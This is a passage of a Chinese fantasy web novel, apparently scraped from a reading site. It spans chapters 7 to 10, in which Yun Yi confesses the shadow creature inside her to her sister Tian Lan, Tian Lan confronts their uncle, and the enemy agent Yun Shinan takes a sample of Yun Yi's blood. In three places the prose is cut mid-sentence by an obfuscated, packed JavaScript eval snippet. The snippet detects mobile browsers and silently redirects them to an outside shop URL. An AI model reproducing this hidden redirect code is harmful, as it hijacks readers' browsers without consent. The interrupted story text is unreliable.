不管咋样,她又不是原主,要真是姐妹争男人的烂剧情,男人和大女主姐姐她肯定选天兰啊。 想到这里,云一感觉整个人都平静了。她又开始胡思乱想起来… 不知道天兰喜欢谁… “把血泪交出来,否则就要自讨苦吃了。” 今天这个处境,倒的确有点在劫难逃。 她回过神,叹了一口气,“我也想交,可是交不了。” 江零一听急了,“你看她,不动手不行啊!云,我最多答应你不弄死。行吗?” 不等云石楠回应,江零已经将铁链收紧。却不见云一脸上露出痛苦的神色。 他正疑惑,却见两条铁链猛然被折断,向着他和云石楠飞扑而来。 两人迅速闪开,却见一个黑色影子似的生物甩着铁链向他们袭来。 云石楠伸出手掌,向那黑影抓去。云一觉得自己似乎眼花,那手仿佛变成了有利器的兽爪,居然活生生将那铁链弄断了。 只是那黑影还是不肯放过江零,饶是铁链断了也不放过他。 “云!”江零望着云一跑向相反方向,他们早已查看好地形,那里是一处死胡同。江零此刻倒是冷静下来,审视那莫名出现的黑东西,但还是调笑似地对云石楠喊了一句:“你可不许放水哦!不然,老爷子可饶不了你!” 跑到巷子里,云一才发现竟然是条死路。转过身,却见云石楠已经跟了上来。他一步一步地逼近,像是猛兽围追猎物般。 云一慢慢往后退,她紧握拳头,心跳因为紧张而加快。不经意间,她的眼里闪过一丝红光… “啊啊啊啊啊!” 一阵尖叫声传来。 云一猛叫着跑了出来,手环传来天兰的位置,显示她就在附近。 “姐姐!救命啊!”云一尖叫着狂奔出去,望见不远处天兰的机车,几乎是飞奔着跑了过去。 经过江零身边时,那黑影也“嗖”地一声钻进了云一的脚边,淹没在她的影子里。 江零有些发懵,但也立马反应过来要去追人。 “别追了。”云石楠拦住江零,示意他看过去。 不远处,云一奔向了那个经常和他们作对的女警。那里人来人往,估计其他警察也快来了,的确不再适合动手。 “你真放水了?”江零一拳打向云石楠的胸口,“真是不怕老爷子发怒啊?” “我没有。”云石楠平静地说了三个字,眼睛直直地望向云一的方向。 江零这才注意到云石楠的手,他的手在不自觉的发抖。 “我看看。” 云石楠甩开江零,瞥了他一眼,“不必。” “你老相好怎么回事?是因为那个什么血泪?”江零眼睛一眯,看向云石楠,“云,都说是你老相好了,会不会她也和你一样…” “听说她出基地的时候也失忆了。” 云石楠收回目光,转身就走,只留江零在身后乱叫。 7. 坦白 云一几乎是飞奔着跑向天兰,差点没把天兰从机车上掀翻。 “暗影……他们……” 这几个关键词让天兰瞬间警觉,她一个转身下了机车,一把将云一护在了身后。 她开启手环上得搜索模式,寻觅一圈,无果。天兰垂下眼眸,不知在想什么。 云一耐心地看着天兰,不敢打扰她。她的脑海里也在进行天人交战,到底要不要和女主说实话呢? 可是她身体上这些不寻常的表现,怎么看怎么都觉得她和那些乱七八糟的反派有点关联。 可要是不和女主说,那她不就会和女主产生隔阂,慢慢就走到对立面了吗? 和女主是对立面?那不就是死路一条? “怎么了?”天兰推了推云一,一脸担忧。 云一有点做贼心虚地摇了摇头。 “走吧,先回家。” 两人骑着机车,几乎是风驰电掣地回了家。 一路无言,气氛有些诡异的尴尬。刚走进家门,天兰的手环就响了。 那个名字很熟悉,是天兰那个帅气的同事,安东尼。 “现在还是上班时间,上班时间离开岗位,总得有个交待。”天兰看向云一,眼神是前所未有的严肃,“我去回个电话。” 云一看着天兰走到阳台,打开手环和同事通话。她的心有点乱,天人交战之间,天兰已经结束了通话,走到了她身边。 “真没事?” 她摸了摸云一的额头,眉头皱起,“你发烧了。” “你从基地出来那次,就烧了三天三夜,希望这次能少折腾一点。”天兰顺势将云一按到沙发上坐着,她拿起桌子上的水杯,“你先休息一会儿,我问问伍言。” 感觉到有人拉住了自己的衣角,天兰停住了动作,回过头俯视着坐在沙发上的云一。 那张和她有六分相似的脸映入她的眼眸。只是,云一的眸子里流露出不同于往常的坚定,仿佛她下定决心要做什么事情一般。 “姐姐,”云一叫住天兰,她松开天兰的衣角,仰起脸,坚定地开口:“我有话想告诉你。” 手环的另一头,传来伍言略带无奈的声音:“你把云一直接带过来不比你问来问去的简单?让她来医疗舱躺一晚……” 伍言的声音回荡在云一耳边,是啊,把她直接带过去不是更简单吗? 难道…… 云一望向天兰,天兰的眸子里倒映出她的模样。云一心里一动,天兰似乎早就看出来她身上的不对劲。是啊,她可是整本书最聪明的人,怎么可能瞒得过她? 仿佛有心灵感应般,天兰坐到了云一的身边,似乎一直在等着云一开口。 云一看了一眼窗外,对面的霓虹灯牌闪了一下,似乎要亮起来了。云一说到了自己看见那“血泪”时身体的反应,说到了自己和那个暗影,说到了那颗“血泪”,也说到了那个黑色的影子…… 所有的所有,除了自己是穿过来的,什么都告诉了天兰。 窗外霓虹灯已经全部闪烁了起来,云一终于有些累了,她偷瞄了一眼天兰。天兰面色逐渐凝重,似乎在想些什么。 似乎感受到了云一的目光,她收回神思,看向云一,“一一,你说的那团黑色的影子,现在在这里吗?” 云一指了指天兰的肩上…… 一个黑色的小团子如烟雾般显现在天兰的肩上,这一次它长出了小手和小脚,脸上似乎有了表情。它如同一个小人一样坐在天兰肩上,晃悠着小脚,还冲看向它的天兰笑了笑。 天兰心中一颤,她居然没有任何觉察。她强忍着震惊,伸出手,让小黑团顺着她的手臂滑滑梯一般地滑了下去。 突然,天兰抓起桌上一把水果刀猛地朝那小黑团刺去。只听“啊”的一声,那小黑团散做云烟,又溜到了云一的影子里。 “嘶…”云一被突如其来的变故吓到了,指尖也闪过一阵刺痛。 她揉了揉手指,才看见那黑影似乎留下一颗血滴。 “这?”云一愣住了,天兰这是认识这东西? 天兰将那小血滴装进一个试管里,那小血滴竟然悬浮起来,就像……就像那血泪宝石。 “姐……”云一心里一跳:“这是血泪?” “不是,”天兰摇了摇头,“那东西已经和‘血泪’相融,这只是它的一滴血。” 一只有些冰凉的手放到了额头上,冰冰凉凉的,让云一燥热不安的内心平静了许多。 “什么都别想,”天兰摸了摸云一的额头,将她扶到沙发的靠枕上躺着,“你的额头有些烫,先休息一会儿。一切有我。” “可是……”云一下意识地去拉天兰,手上动作一大,袖口里便掉出来一个东西。 那东西掉在地板上,发出清脆而细微的声音。两人的注意力都暂时被分散了。天兰捡起那个精致的十字架,云一这才想起是出任务的时候张照初塞给自己的。 还没等云一拿回去,天兰就已经将那十字架握到了手心中。云一注意到,天兰的手握得很紧,指甲都要嵌到肉里了。她下意识地去掰开天兰的手,对上天兰那双又凌厉起来的眸子。 目光交汇,还是天兰先败下阵来,她松开手,将那十字架抛到另一只手接住,“哪里来的?” “张照初给的。”云一又解释了一句,“二组的同事都有。” “离教会的人远一点。” 云一看出了天兰的情绪,立马配合地点了点头。 “你先休息一会儿,我去找个医疗舱。” 天兰将云一按到沙发上,让她躺着。天兰还细心地拿了一条毛茸茸的毯子,给云一盖上。 老城区的夜晚比新城区的夜晚更为热闹,白日里看不见的人和事都一股脑地冒了出来。这里灯红酒绿,热闹非凡。云明枫开着的那家咖啡屋,在这些热闹面前,就变得不值一提了。 所以,当咖啡屋进门的风铃响起时,店里包括云明枫在内的三个人都有点意外。 “小兰……” 云明枫看清楚来人,这才笑着迎上去。 笑容刚扯到一半,衣领就已经被人扯着抵到了柜台旁。 “你原来打的是这个主意!”天兰死命地抓住云明枫的衣领,不等他和其他人反应,一拳挥到他脸上,顺势一甩,将他甩到了地上。 店里一个大高个和另一个眼镜男大吃一惊,立马抄出家伙,就要朝天兰招呼。却被云明枫止住了,“别过来!” “你装什么好人?”天兰又一次冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081477|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了上去,这一次,拳头挥到一半就定在了半空。 “云明枫!你解开!” 云明枫看着天兰愤怒却动弹不得的样子,眼里闪过一丝不安,他挥了挥手,“阿宇,奥多伊,你们先走。” 那大高个还有些迟疑,眼镜男见状拉了大高个一把,两人立马离开了咖啡店。 见没人了,云明枫才慢悠悠地用咖啡机煮了两杯咖啡。他将其中的一杯放到了桌子的另一边,这才开口说道:“你发现了?” “你果然知道,看来我没冤枉你!”天兰的眼睛有些红了,“你这个疯子!十年前你已经害了我妈妈,现在,你连一一也不放过吗?!” “你休想!” 云明枫推了推眼镜,镜片有些反光,让人看不清他的表情,“一提到一一和你妈妈,你就变得这么不冷静…” “这么冲动,这么幼稚。”云明枫抬眼,露出和往常不一样的神色,带着些厌恶,“和你爸一模一样!” “不许你提他!”天兰像是被人戳中了心事,情绪又激动起来。 “怎么,又受不了了?”云明枫冷笑了两声,“小兰,十年前,你失去了妈妈,我也失去了姐姐。十年前你还小,不懂事,难道现在你还不懂吗?” 咖啡的香气缓缓在空气中流动,云明枫解开了异能,解除了对天兰的限制。天兰一下子卸了劲,有些无力地倒坐在椅子上。 一杯咖啡被推到了天兰面前,香气涌入鼻腔,天兰才觉得自己冷静了下来。 “凡事都有代价,”云明枫品了一口咖啡,自嘲般笑了笑,“你舅舅我没那么厉害。” “你有什么目的?”天兰想到什么似的,又冷笑了一声,“不对,是你们有什么目的?” “别这么想我,”云明枫的语气很平静,“我的确有我的目的,但,我也是真心想救一一。毕竟,我是她舅舅。” 天兰端起咖啡,猛灌了一口,把那装着血滴的试管拿了出来。 “那就请拿出诚意。以假乱真,就像当年…”天兰的眼神刺向云明枫,“你必须做到,舅舅。” 云明枫听到最后两个字眼神一动,但还是冷哼了一声,“打了我一顿,就这么求我?” 没有等到想要的回应,云明枫也没在意,自顾自地接了下去,“最多拖延一点时间罢了,你又能怎么办?” “不用你操心。”天兰站起身,“我需要一个安全的医疗舱,现在就要,把地点发给我。” 说着,不等云明枫回答,天兰便熟练地从柜台拿了一袋吐司,大步流星地离开了咖啡店。 “叮铃~” 天兰收到了云明枫发来的消息—— “from云明枫: 地址发你了,密码在22号储存柜,储存柜的钥匙五分钟后送到。” “叮铃~” 一条消息传来,云明枫点开,屏幕的光反射到他的眼镜上。 聊天界面一直停在他发出的那条消息,没有回复。 “toM: 那东西,醒了。 ” 眼眸一眨,一条信息传了过来。 “fromM: 这一次,不许失手。” 云明枫看向窗外,微不可闻地叹了一声。 8. 意外来客 脑袋昏昏沉沉的,云一又一次听到胸口处传来不属于她的心跳声。那东西,那黑东西在她的身体里! 下意识地想去摸桌子上的水杯,摸了半天,没有摸到,她的心里升起一股烦躁。就在此时,水杯被人轻轻地推到了手上。 她握住水杯,那冰凉的玻璃触感让她一下子清醒了。 睁眼,一个黑衣人正站在她面前,一只戴着黑色半指皮手套的手,正放在水杯后面。她克制着自己止不住发抖的手,往上看去,一张熟悉的漂亮的脸上,那双野兽般的眸子正盯着她。 那人正是云石楠。 “啊!” 云一惊叫了一声,因为过于惊恐,她一个翻身滚到了地上。 她强忍着身体的不适,几乎是连滚带爬地将茶几上的水果刀拿起来指着对方。 “你想干什么?我姐马上就要回来了,还有特调局的兄弟们,可都在附近……” 就站起来了两秒钟,云一便觉得自己有些站不住了,血液在翻滚,她体内有什么在撕扯…… 快要倒下的时候,跌进一个温暖的怀抱。云一痛苦地敲打着自己的脑袋,她使出浑身力气扯住眼前这人的衣领,“你对我做了什么!混蛋!混蛋!” 不知是不是错觉,她看见眼前那人的眼里流露出一种奇怪的眼神,似乎是怜悯,似乎是不安。总之,没有恶意。 云石楠看着怀里的云一,有些控制不住地颤抖,这个场景何其相似。只不过这一次的对象,不是他罢了。 他感受着血液里的滚烫,察觉到今晚的夜里多了什么东西,他从随身携带的包里拿出一个注射器,将一个不知是什么的药剂推进里云一的身体里。 “你……” 云一惊愕地看着云石楠的动作,心中大惊,她浑身因为痛苦而无力,就连那黑东西也不知去哪里了。 大惊之下,她下意识要去打暗影。手脚居然勉强能活动了,虽然身体还是酸软,但是那种被撕扯的痛苦居然减少了。 那人三下五除二,就把云一手脚制止住,两只手将她整个人抵在沙发上。两人的姿势极其暧昧,那暗影的眼眸带着一丝探究。 “我叫云石楠,”那暗影迟疑了一会儿,带着一丝期待看着云一,“你记得吗?” “云一的云,石楠树的石楠。” 他的眼睛亮晶晶的,就像天上的星星。 云一有些莫名其妙,什么乱七八糟的。虽然痛苦缓解了不少,但她的头脑还是昏昏沉沉的,此时此刻根本无法思考。 “什么意思?” 云石楠有些失望地叹了一口气。 “你到底给我注射了什么?”云一脑子乱成一团,她挣扎了一下,手脚依然无法挣脱。 “毒药。” 云石楠看着云一迅速灰白的脸色,笑了笑,道:“骗你的。” “你没发现,你已经没那么痛了吗?”云石楠趁着云一惊愕的瞬间,迅速在云一的手上扎了一下,取出一滴血放进试管里。 他这么一动作,倒是放开了云一。 “什么意思?” “意思是,你和我或许是同类,云一警官。” 云石楠拿着试管,就要出门。云一猛地扑了过去,要去抢那试管。 这时,门外传来敲门声。 “天兰,云一,你们在吗?” 是裴英轩的声音。 “是特调局的人……” “丁零”一声,电梯门打开,一个熟悉的身影映入眼帘。 裴英轩半靠在门边,手上提着一袋子啤酒,她那一看就价值不菲的西装外套被随意地搭在手上。听见电梯门开的声音,她抬起眼眸,对着有些惊愕的天兰投以一个微笑。 “等你很久了,”裴英轩将手里的啤酒举起来,“要不要来一杯。” 天兰尽量让表情变得自然,大步走了过去,很自然地接过裴英轩手里的购物袋。 “组长,今天一组不用开会吗?” “知道要开会,你还跑了?”裴英轩挑了挑眉,随即拍了拍天兰的肩膀,“云一没在家吗,刚才我敲门都没反应。” “好了,快请我进去坐坐,顺便也看看云一。” 想到云一,天兰不由得心头一紧,只垂下眼眸了几秒,她便如平常一样打开房门,对裴英轩说道:“一一有些不舒服,已经睡了。” 房门打开,里面一切如常,只是云一已经不在沙发上了。她心头一动,环视了一下四周,并没看见那黑东西,天兰这才放下心来。她随手将啤酒小心地放到餐桌上,又给裴英轩递了一双拖鞋。 “一一在卧室,我们轻一点。” 裴英轩见沙发处还有掀开的毯子,便对天兰说道,“让我看看一一。” 房间里的云一和云石楠还在无声地争斗,一听见这话,两人都下意识地对视了一眼。 这一眼的意味很明显——“怎么办?” 天兰不敢拦阻,怕弄巧成拙,让裴英轩起疑。她对裴英轩点了点头,小心地将房门打开一条缝,见里面的床上躺着云一,她这才示意裴英轩看。 往里面一瞧,云一侧睡着,呼吸均匀,睡得正好,裴英轩这才退了出来。裴英轩冲天兰挥了挥手,示意她出来说话。 房门一关,云一这才松了一口气。她小心地起身往另一边的床下看去,云石楠紧紧贴在床边的地板上,生怕被人察觉。 两人默契地一个挺身,轻手轻脚地靠近房门,耳朵贴着墙听着外面的声音。但一个对视,两人的手又格斗上了,最后,又变成了手脚相互制衡着,贴着房门的奇怪模样。 裴英轩坐到沙发上拍了拍天兰的肩膀,小声地说道:“放心吧,你妹妹没事。” 裴英轩将桌上的啤酒递了一罐给天兰,两人都满腹心事地拉开了易拉罐。 “咔嚓。” 突然的响声伴随着起泡的啤酒涌现,两人都不约而同地望向云一卧室的方向,见没有弄醒她,两人才对视一笑。 这么一个小插曲,倒是让气氛缓和了下来。 “‘血泪’的事情,上面是怎么想的?”天兰率先打破了僵局。 裴英轩灌下一口酒,吐了一口气,这才开了口:“你知道‘血泪’的来历吗?” “据说神明来到世上,看见世间充满灾难与痛苦,便以血肉之躯化作感化世人的圣物。” “而‘血泪’便是神明牺牲前流下的血泪,泪水凝结成宝石,便被保存了下来。” 天兰认真地听着,想了想才发问:“这么说来,算得上是教会的圣物了。” “这种东西怎么会在柳会长手上?” 裴英轩将身子仰靠在沙发上,一双精明的眸子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081478|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向天兰,“自然是费了些功夫。” “让柳会长这种人花功夫去找的东西,当然不可能就这么捐赠出去。”天兰想明白了一般,自嘲地笑了一声,“想必柳氏集团和教会有什么合作?” “大人物的事情,我也不必知道,“天兰看向裴英轩,“组长今天来找我,想必不仅仅是和我闲聊吧?” 窗外的微风吹过裴英轩的发丝,将她从来都服服帖帖的头发吹乱了几分,她沉吟了片刻说道:“我当你是朋友,才来提示你,这件事情背后牵扯的关系比你想象的复杂得多。” “一一已经洗清了嫌疑,不是吗?”天兰直视着裴英轩的眼睛,“这可是大神官亲自盖棺定论。” 裴英轩推了推眼镜,镜片反光,让人看不清她的神色,“大神官有明确说什么吗?” “天兰,上面并不是要推谁出去背锅,”裴英轩表情严肃,“他们只要结果,他们想要的结果。” 天兰似乎猜到了什么,她拳头紧握,眼睛直视裴英轩。 “在传说中,‘血泪’是神明之物。”裴英轩意味深长地说道:“别忘了,神明的追随者可不止教会。” “涉及到这方面,局里希望你和云一……” “够了!”天兰站起身来,她沉默良久,才说道:“裴组长的意思我明白了,但一一什么也不知道,她只是一个d级超能者。” “有我就够了。” 裴英轩见此便也站起身来,她拍了拍天兰的胳膊,“你是我看好的人,一直都是,别让我失望。” “裴组长,时间不早了,我送您。” 天兰帮裴英轩拿起外套,裴英轩也没多说什么,笑了笑便走了出去。 听见关门声,云一立马释放出异能,一个水牢瞬间将云石楠包围了起来。 云一此时已觉得好了许多,只是身上还是有点忽冷忽热,脑袋也有点昏乎乎的。 “你到底给我注射了什么?” 云石楠见状只惊诧了几秒,瞬间便恢复了平静,他带着笑意看着云一,“药,能让你不痛的药。” “下次要是再痛,记得来找我。” 说完,他一个冲刺,居然突破了水牢,跳到了窗口。他回头看了一眼云一,立马跳了下去。云一一惊,连忙跑到窗边查看。只见月色下,一个黑色身影踩着屋顶,如同一头野兽,消失在了楼宇之间。 云一愣住了,她的脑子里一直在想云石楠说的话,什么意思? 难道,他和原主认识,而且他们还得了同一种怪病,所以她有时候才会有那些奇怪的症状? 或许,他和原主还真有点什么? 房门被打开,天兰看见云一魂不守舍地站在窗边。她立马走过去,拉住云一,却看见云一的脸色苍白,她的身体也忽冷忽热的。 她往窗外望了望,并没什么异样,这才看着云一,“怎么了?” “姐,”云愣愣地看着天兰,很认真地问道:“如果……如果我和你的死对头真的有点什么……你会怎么样?” “有点什么?” “就比如说,曾经是某种不可描述的关系……” 云一有些心虚地抬眼看着天兰,只见天兰冷冷地看着她。 比天兰的眼神更冷的是她的话—— “那我就打死你。” “……” 9. 谜团 黑夜之下,霓虹灯如同第二个太阳,将这座城市照得灯火通明。两个年轻的女性从一辆机车上下来,相依相偎着,穿过人群,走到一个昏暗的小巷。 云一裹得严严实实的,被天兰半抱半扶着,走到了一个看似仓库的地方。两人走了进去,在一排储物柜里停下,天兰输入一串密码之后,从储物柜里拿到了一个钥匙。 按照短信上的提示,两人搭乘电梯,来到一个小房间面前,用钥匙打开,里面有一个医疗舱。 云一只觉得自己忽冷忽热,头脑有些发昏,她已经不知道自己到底这样是做了脑搜索的后遗症,还是身体里那黑东西的缘故。 她任凭天兰将她扶进医疗舱,直到天兰设置医疗舱的治疗时间是48小时的时候,云一才抬起头望着天兰:“姐,不是说躺医疗舱一晚上就可以了吗?” 一般来说,就算是重症,也不建议连续躺在医疗舱超过12小时。天兰设置的48小时,的确有些奇怪。 天兰停住了动作,她看向云一,眼睫微动,“你需要休息。” “哦。” 听见这话,云一也不多想,反正她就秉持一个原则,跟着大女主有肉吃。 “一一,你相信我吗?”天兰见云一十分配合的样子,忍不住问了一句。 “当然相信你了,你是我在这个世界上最相信的人!”云一忍着身体里的各种不适,激动地表忠心。 “虽然,你似乎有很多事没告诉我……”云一小声地嘟囔了一句。 天兰那张万年冰山脸,破天荒地笑了笑。 她拿出一个试管,里面装着那黑团子的一滴血。那滴血此刻正在在试管里翻滚,似乎受到了什么刺激。 “你听说过‘降神’计划吗?” 云一摇头。 “教会信奉神,他们认为每个异能者都是被神选中的孩子。” “他们曾经选中了一批具有精神控制类的异能者,进行所谓的‘降神’计划,让所谓的‘神’降临在他们身上。” 云一有些似懂非懂,“什么叫‘降临’?” “占据异能者的身体,让’神‘使用身体,同时,也获得’神‘的神力。” 这几句话让云一头皮发麻,这不就是附身吗? 难道她身体里那个黑团子也是所谓的“神”? “姐,那我……”云一有些颤抖地拉了拉天兰,“我应该不符合‘降神’的标准吧,我应该不是……” “你问我是不是见过那东西,”天兰深呼里一口气,“我见过,在我们母亲临死的时候,我亲眼看见这东西怎么吞食了我们的母亲。” “你的意思是……十年前母亲身上的那个’神‘,现在又寄生到了我身上……” 天兰不语。 云一有些语塞,她感觉信息量有些过载了。她知道这是一个关于大女主的小说,可是,可是戏眼是大女主啊,她只是一个磕cp的路人甲而已啊。这些乱七八糟的东西都是什么啊? 见云一的脸色有些发白,天兰拍了拍她的脸蛋,示意她看那试管。 “看,今晚的空气里有什么东西令它发狂了。”天兰看向云一,眼里带着怜惜,“可你明显没有被影响,至少现在没有被影响。” “看来那个暗影给你注射的东西是有用的。”天兰将云一扶着躺到医疗舱里,她摸了摸她的头发,“他一定知道些什么。” 云一点了点头。 “你和他……”天兰难得露出尴尬的神情,“什么关系?” “呃……不知道……” 天兰也没多问,她继续设置医疗舱,设置到最后一步时,她看着云一,有些反常地认真叮嘱道:“一一,你记住,教会的人不可信,云明枫更不可信。别让人发现你身上有那东西。” 这些话越听越觉得不对劲,好像她从此不回来了似的。 “姐,你这是什么意思啊?” “我是怕你被人诓骗。”天兰最后拍了拍云一的脸,“好了,你好好休息,调理好身体。之后的事情,我们再商量。” “一一,你要相信我。” “我当然相信你。”虽然那些事情还是一团乱麻,但是此刻的云一还是觉得安心了不少。 天兰按好了最后一步,伴随着“滴滴”声,舱门慢慢合上了。云一只看见天兰的脸慢慢被遮住,她的心里莫名有些不安,她很想再努力看看天兰,可是,天兰的脸已经逐渐消失了。 看着医疗舱已经完成关闭,天兰在原地默默站了几秒,似乎在平复自己的心情。她点开手环,让办公智能机器人阿波罗连接她的网络。 “阿波罗,今晚有巡逻小组上报警情吗?” “你好,特调处一组组员天兰,今晚已上报警情十二起。现已上传在联邦警局的内部网上,你可以联网查看。” 天兰点开这些警情,除了那些醉酒寻衅滋事的,其中有一起引起了她的注意。有人称,在江边看见了怪物。 夜里的风吹得人清醒了不少,她点开工作群,那条警情已经被传到了正在值夜的小队那里。 这种非正常情况,一般都会移交给特调处的人。他们特调处每天都会留一两个人值夜,以便处理突发状况。天兰在那条警情下点了一个接收。 “我在附近,我去处理。” 天兰发了这么一条语音在工作群里,值夜的同事有些意外。 发了几条消息给天兰,天兰看了一眼,并不回复。她拿出那支试管,那滴血还在疯狂地跳动…… 夜色正深,而这座城市的热闹才刚刚开始。巨大的3D投影,将一个帅气的机械DJ投射在酒吧门口,音乐声和人们的喝彩声响彻云霄。 云石楠压低帽檐,穿过热闹的人群,从百丽酒吧的一个小包间里轻轻敲了敲,一个隐蔽的门打开。他刚走进去,江零便靠着墙斜眼看着他。 “怎么样?” “嗯。” 江零接过那支装着云一的血滴的试管,他快步走过去。。 “彩良!” 一个顶着爆炸头的男孩从满屏的数据中抬起头来,分出了一点目光给云石楠和江零,“拿到了?” 那个叫彩的男孩接过那试管,拿着试管走进了实验室。 “等等吧。” 江零闻言便揽住了云石楠的肩膀,带着一种戏谑的语气问道:“云,坦白说,那位警察小姐是你老相好吧?” 一记眼神杀射得江零闭了嘴,却没想到云石楠自己开了口,“我和她的确认识。” “她说的?”江零追问道。 “我猜的。”云石楠一脸认真地回答。 “我还以为你会拒绝这次任务。” 云石楠低垂着眼睫,不知在想些什么,他的话语不带任何情绪:“就算我拒绝,你们也会去做。那还不如我去,至少能让我亲自确认。” 听到这个回答,江零也无话可说,良久才说了一句,“只要完成任务,老爷子从不管我们的私事,放心吧。” 一记拳头不轻不重地打在了云石楠胸口,他抬头,看见江零那个臭屁的笑,只是没脾气地点了点头。 “江零!小云!” 那个叫彩良的爆炸头有些慌张地跑了出来,他有些无措看着两人,因为跑得太快,他有些喘不过气来。 两人立马迎了上去,问道:“‘血泪’在她身上吗?” “在……”彩良点了点头,“但是……你确定这是从那联邦警察身上提取出来的?” 云石楠和江零直觉不妙,进一步围住了彩良,“什么意思?” “她的血液和咱们客人送来的样本相似度百分之九十九……” 说完这句话,彩良也觉得有些不可思议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081479|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的声音逐渐小了下去,“我确认了好几遍,绝对没错。” “那她和云是一样的情况?” “只有这个可能了,”彩良退了退眼镜,“重点不是这个吧,而是咱们那位客人可说了,他们送来的样本可是来自…那东西…” “那这位警察小姐…” 不等两人反应,手机铃声响起。看见是他口中那位老爷子打来的,江零干脆接到电脑上,接通了视频。 一个头发花白戴着金丝眼镜的老人的影像出现在眼前,他的表情一丝不苟,自带一种矜贵之气。 “行动有变,客人今晚已经亲自确认了货物,我们只需做好清理工作。” 听到这话,云石楠整个人像是被泼了一盆冷水,只觉得浑身发冷。他正欲发问,只觉得手臂上一紧,江零使劲按住他,对他摇了摇头。 暗影的领导者到底观察敏锐,他注意到了云石楠的情绪,一双锐利的眼睛隔着屏幕盯着云石楠:“小云这是怎么了?” “害,”江零笑着揽着云石楠的肩膀,“这小子最近有喜欢的女孩了,为情所困,情绪不太稳定。” 云石楠嫌恶地甩开江零,如同平时打闹一般。 那位老人也不知信了还是没信,只是收回目光,“不要耽误正事。” “是。” “是!” 挂掉视频之后,云石楠查看发来的任务地点,立马就要飞奔过去。还没动身,却被江零一把拉住。 “你干嘛?” “做任务。” “今晚那位客人不一定已经离场了,你不适合在。”江零握住云石楠的手臂,抬起,看着他手腕上的手环,上面显示着云石楠的心率。 “月圆之夜要到了。” 云石楠抽回手臂,“我有分寸。” “我和她是同类,我一定要亲眼看看。” “你和我才是同类!”江零没好气地撞了一下云石楠,径直走到云石楠前面,“我明白你的意思,不过,情况不对要立马撤退。” “好。” 迎着夜色,两人骑着机车来到了江边。那里已有一些打斗痕迹,拿出仪器探测环境安全后,两人迅速地开始清理痕迹。 人类的痕迹可以留下,但是不属于人类的痕迹,必须除掉。 “五分钟。” “好。” 云石楠一边开启仪器将那些粘液、血迹清理干净,一边紧绷着弦,寻找着熟悉的痕迹。在最后一块被黏液包裹的地方被清理干净之后,云石楠发现了一张警官证。 他心里一跳,将那警官证捡了起来。 “来人了,还有三十秒,马上撤退。” 云石楠来不及多想,立马跟着江零离开了。 特调处值夜的组员和巡夜的警员从悬浮车上下来,安东尼瞥了一眼张照初,“天兰真的来了?” “我确定一定以及肯定!”张照初立马回应道,“她在群里回复了之后,我还特意调了附近的摄像头想帮她看看周围的情况,我亲眼看见天兰过来了。” 听见这话,安东尼只好和几个警员一起查看。 “天兰!” 每位特调处成员的手环都有定位系统,天兰的手环显示她的位置就在附近,几人一通查找,却始终一无所获。 站在不远处的云石楠将手里的警官证打开,里面赫然是天兰的照片。 “不应该是那位警察小姐吗?”江零有些不不解,“怎么是我们的老朋友?” “是咱们的客人看错眼了,还是你和彩良都搞错了?” 云石楠感受着空气中还飘浮着的某种熟悉的气息,他的心里也有些没底。 信息传到了手机,点开,是任务已结束的消息。 两人的账户都多了一笔不小的金额。 “咱们的客人可是结账了。” 10. 梦与真 “滴滴滴……” 闹钟声响起,云一睁开眼,转头一看闹钟,时间正显示是早上六点半。 她有些恍惚地坐起身来,她摸了摸柔软的被子,闻着被子上那种令人安心的洗衣粉的味道,看着周围熟悉的环境……她回到原来的世界了? “砰砰砰……” 敲门声响起,伴随着带着亲昵语气的女声传入云一的耳朵里。 “一一,快起来吃饭了!再不起来,可就要迟到了哦!” 云一将信将疑地推开房门,食物的香气扑鼻而来,一个穿着围腰的中年妇女忙碌地将刚煎好的鸡蛋端了上来。她笑语盈盈,如同每一个有点唠叨但真心实意心疼儿女的父母。 “愣着干嘛,快吃啊。” 餐桌旁,一个戴着老花镜的中年男子一边看着手机,一边端着一杯牛奶,见云一迟迟没动,也忍不住催促道:“快坐着啊。” 云一如同在梦中一般,恍恍惚惚地坐下。她看看那殷切地看着她,给她端来牛奶的女人,又看看旁边坐着的同样用关心的目光注视着她的男人。 她试探着叫出口:“妈妈,爸爸。” 两位父母如同平常一样,微笑答应着,又各自做着自己的事情。 “喵~” 一只皮毛油光水滑的黑猫跳了出来,亲昵地蹭了蹭云一的小腿。云一顺势摸了摸小猫的脑袋。 父母尚在,小猫相伴,桌子上还有妈妈精心准备的早餐,多完美的一切啊…… “来,一一,吃个包子。” 妈妈夹了一个包子到云一的碗里,目光灼灼地看着她。 